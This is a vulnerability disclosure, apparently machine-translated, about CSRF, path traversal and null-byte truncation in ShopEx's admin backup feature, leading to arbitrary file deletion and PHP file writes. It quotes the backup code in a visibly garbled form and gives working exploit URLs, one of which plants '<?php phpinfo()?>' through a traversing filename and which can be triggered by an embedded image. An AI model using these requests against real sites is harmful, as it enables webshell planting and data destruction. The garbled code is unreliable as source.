Shopex csrf remove pants Arbitrary File delete file write shell
Shopex csrf remove pants Arbitrary File delete file write shell
All vulnerabilities are caused by a csrf. Let's take a look at them one by one:
Install shopex in the latest version:
Ctl. backup. php: function backup () {if (constant ('saas _ mode') {exit;} header ("Content-type: text/html; charset = UTF-8 "); $ params ['sizeliconmit '] = 1024; $ params ['filename'] = ($ _ GET ["filename"] = "")? Date ("YmdHis", time (): $ _ GET ["filename"]; $ params ['fileid'] = ($ _ GET ["fileid"] = "")? "0": intval ($ _ GET ["fileid"]); $ params ['tableid'] = ($ _ GET ["tableid"] = "")? "0": intval ($ _ GET ["tableid"]); $ params ['startid'] = ($ _ GET ["startid"] = "")? "-1": intval ($ _ GET ["startid"]); if ($ params ['sizelimmit ']! = "") {$ OBackup = & $ this-> system-> loadModel ('System/backup'); if (! $ OBackup-> startBackup ($ params, $ nexturl) {echo _ ('backing up 11 '). ($ params ['fileid'] + 2 ). _ ('Volume. do not perform other page operations. '). '<Script> runbackup ("'. $ nexturl. '") </script>';} else {$ this-> system-> setConf ('System. last_backup ', time (), true); echo "<a href = 'index. php? Ctl = system/sfile & act = getDB & p [0] = multibak _ {$ params ['filename']}. tgz 'target = '_ blank'> after the backup is complete, click here to download </a> ";}}} and follow startBackuppublic function startBackup ($ params, & $ nexturl) {set_time_limit (0); header ("Content-type: text/html; charset = UTF-8"); $ sizelimit = $ params ['sizelimit ']; $ filename = $ params ['filename']; $ fileid = $ params ['fileid']; $ tableid = $ params ['tableid']; $ startid = $ params ['startid']; include_o Nce (CORE_DIR. "/lib/mysqldumper. class. php "); $ dumper = new Mysqldumper (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME); $ dumper-> setDroptables (true); $ dumper-> tableid = $ tableid; $ dumper-> startid = $ startid; $ backdir = HOME_DIR. "/backup"; $ finished = $ dumper-> multiDump ($ filename, $ fileid, $ sizelimit, $ backdir); ++ $ fileid; if (! $ Finished) {$ nexturl = "index. php? Ctl = system/backup & act = backup & sizelimit = {$ sizelimit} & filename = {$ filename} & fileid = {$ fileid} & tableid = ". $ dumper-> tableid. "& startid = ". $ dumper-> startid;} else {$ dir = HOME_DIR. "/backup"; $ tar = & $ this-> system-> loadModel ("utility/tar"); chdir ($ dir); $ I = 1; (; $ I <= $ fileid; ++ $ I) {$ tar-> addFile ("multibak _". $ filename. "_". $ I. ". SQL ") ;}$ verInfo = $ this-> system-> version (); $ backupdata ['app'] = $ verInfo [' App ']; $ backupdata ['Rev'] = $ verInfo ['Rev ']; $ backupdata ['vols'] = $ fileid; $ xml = & $ this-> system-> loadModel ("utility/xml"); $ xmldata = $ xml-> array2xml ($ backupdata, "backup "); file_put_contents ("archive. xml ", $ xmldata); $ tar-> addFile (" archive. xml "); $ tar-> filename =" multibak _". $ filename. ". tgz "; $ tar-> saveTar (); $ I = 1; for (; $ I <= $ fileid; ++ $ I) {@ unlink (@ "multibak _". $ filename. "_". $ I. ". SQL ");} @ Unlink ("archive. xml ");} return $ finished;} follow up multiDumpfunction multiDump ($ filename, $ fileid, $ sizelimit, $ backdir, $ ignoreList = null) {// Set line feed $ ret = true; $ lf = "\ r \ n"; $ lencount = 0; $ bakfile = $ backdir. "/multibak _". $ filename. "_". ($ fileid + 1 ). ". SQL "; if ($ ignoreList) {$ ignoreList = array_flip ($ ignoreList);} $ fw = @ fopen ($ bakfile," wb "); if (! $ Fw) exit ("Backup Directory {$ backdir} cannot be written"); $ resource = mysql_connect ($ this-> getHost (), $ this-> getDBuser (), $ this-> getDBpassword (), true); mysql_select_db ($ this-> getDbname (), $ resource); if (! Constant ("DB_OLDVERSION") mysql_query ("set names '". MYSQL_CHARSET_NAME. "'", $ resource); $ result = mysql_query ("show tables"); $ tables = $ this-> result2Array (0, $ result ); $ filter_tables = array (DB_PREFIX. "op_sessions", DB_PREFIX. "operators", DB_PREFIX. "admin_roles"); foreach ($ tables as $ tblval) {if (substr ($ tblval, 0, strlen (DB_PREFIX) = DB_PREFIX &&! In_array ($ tblval, $ filter_tables) {$ tablearr [] = $ tblval ;}// Set headerfwrite ($ fw ,"#". $ lf); fwrite ($ fw, "# shopex SQL MultiVolumn Dump ID :". ($ fileid + 1 ). $ lf); fwrite ($ fw, "# Version ". $ GLOBALS ['shopex _ THIS_VERSION ']. $ lf); fwrite ($ fw ,"#". $ lf); fwrite ($ fw, "# Host :". $ this-> getHost (). $ lf); fwrite ($ fw, "# Server version :". mysql_get_server_info (). $ lf); fwrite ($ fw, "# PHP Version :". phpvers Ion (). $ lf); fwrite ($ fw, "# Database :'". $ this-> getDBname (). "'". $ lf); fwrite ($ fw, "#"); // Generate dumptext for the tables. $ I = 0; for ($ j = $ this-> tableid; $ j <count ($ tablearr); $ j ++) {$ tblval = $ tablearr [$ j]; $ table_prefix = constant ('db _ prefix'); $ subname = substr ($ tblval, strlen ($ table_prefix )); $ written_tbname = '{shopexdump_table_prefix }'. $ subname; if ($ this-> startid =-1) {fwrite ($ fw, $ lf. $ lf. "#- -------------------------------------------------------". $ Lf. $ lf); $ lencount + = strlen ($ lf. $ lf. "#--------------------------------------------------------". $ lf. $ lf); fwrite ($ fw ,"#". $ lf. "# Table structure for table '$ tblval '". $ lf); $ lencount + = strlen ("#". $ lf. "# Table structure for table '$ tblval '". $ lf); fwrite ($ fw ,"#". $ lf. $ lf); $ lencount + = strlen ("#". $ lf. "# Table structu Re for table '$ tblval '". $ lf); // Generate drop table statement when client wants it. mysql_query ("alter table '$ tblval 'comment'"); if ($ this-> isDroptables () {fwrite ($ fw, "drop table if exists '$ written_tbname ';". $ lf); $ lencount + = strlen ("drop table if exists '$ written_tbname ';". $ lf) ;}$ result = mysql_query ("show create table '$ tblval'"); $ createtable = $ this-> result2Array (1, $ result); $ tmp_v Alue = str_replace ("\ n", '', $ this-> formatcreate ($ createtable [0]); $ pos = strpos ($ tmp_value, $ tblval ); $ tmp_value = substr ($ tmp_value, 0, $ pos ). $ written_tbname.substr ($ tmp_value, $ pos + strlen ($ tblval); fwrite ($ fw, $ tmp_value. $ lf. $ lf); $ lencount + = strlen ($ tmp_value. $ lf. $ lf); $ this-> startid = 0;} if ($ lencount> $ sizelimit * 1000) {$ this-> tableid = $ j; $ this-> startid = 0; $ ret = false; break;} if (isset ($ ignoreList ['Sdb _'. $ subname]) {$ this-> startid =-1; continue;} fwrite ($ fw ,"#". $ lf. "# Dumping data for table '$ tblval '". $ lf. "#". $ lf); $ lencount + = strlen ("#". $ lf. "# Dumping data for table '$ tblval '". $ lf. "#". $ lf); $ result = mysql_query ("SELECT * FROM '$ tblval'"); if (! @ Mysql_data_seek ($ result, $ this-> startid) {$ this-> startid =-1; continue;} while ($ row = mysql_fetch_object ($ result )) {$ insertdump = $ lf; $ insertdump. = "insert into '$ written_tbname' VALUES ("; $ arr = $ this-> object2Array ($ row); foreach ($ arr as $ key => $ value) {if (! Is_null ($ value) {$ value = $ this-> utftrim (mysql_escape_string ($ value); $ insertdump. = "'$ value',";} else $ insertdump. = "NULL," ;}$ insertline = rtrim ($ insertdump ,','). ");"; fwrite ($ fw, $ insertline); $ lencount + = strlen ($ insertline); $ this-> startid ++; if ($ lencount> $ sizelimit * 1000) {$ ret = false; $ this-> tableid = $ j; break 2 ;}$ this-> startid =-1; $ I ++; // if ($ I = 5) break;} mysql_close ($ resource); fclose ($ fw); chmod ($ bakfile, 0666 ); return $ ret ;}
From the entire process letter, there are the following issues
1. $ finished = $ dumper-> multiDump ($ filename, $ fileid, $ sizelimit, $ backdir );
After direct post, filename is not processed and the file is stored. Of course, a suffix of tgz will be added after $ filename.
The problem arises. % 00 is not filtered.
How to traverse directories, for example
If path:/a/B/c/g. php
So this traversal is also possible/a/B/c/g. php /../../
So we can back up a file and then traverse the directory to any place, so that no error will be reported.
2. if the backup fails, run @ unlink (@ "multibak _". $ filename. "_". $ I. ". SQL ");, there is a problem here, the filename here can be fully controlled, and % 00 can be truncated
3. $ tar-> addFile ("multibak _". $ filename. "_". $ I. ". SQL "); this code will add this file name to the beginning of the file, so the problem arises.
If the file name is <? Php phpinfo ()?>, Is there any php code in the file? After file truncation and directory traversal are added, we can generate a shellcode under any writable directory. There is actually a problem to be solved here, in windows, file names cannot contain such characters as <>. Therefore, the system exists in linux, and most shopex is built on the liunx system, this worry can be ruled out
Start test:
GET File pants:
Administrator login:
Url:
Http: // localhost/shopex/shopadmin/index. php? Ctl = system/backup & act = backup & sizelimit = 1024 & filename = 20141203094227.tgz /.. /.. /.. /.. /.. /.. /.. /.. /.. /aaa. php % 00 & fileid = 1 & tableid = 99 & startid = 142
Because my website is built under windows, a aaa. php file is directly created under d:
This is a GET-type csrf. How to trigger it is very simple. No matter whether you use an image or something else, it will be nice if you don't know it.
What I want to say is to see the content in it. Now it's exactly the same as what I analyzed.
Because it is in windows, when you send:
This is because of this Code:
$ Fw = @ fopen ($ bakfile, "wb ");
If (! $ Fw) exit ("Backup Directory {$ backdir} cannot be written ");
Because windows does not support <> and other files, we can move this code to the linux environment to see if the file can be worn.
If we set up shope under linux to send the same url:
Http: // localhost/shopex/shopadmin/index. php? Ctl = system/backup & act = backup & sizelimit = 1024 & filename = 20141203094227.tgz /.. /.. /.. /.. /.. /.. /.. /.. /.. /<? Php phpinfo ()?>. Php % 00 & fileid = 1 & tableid = 99 & startid = 142
Solution:
Enhanced Filtering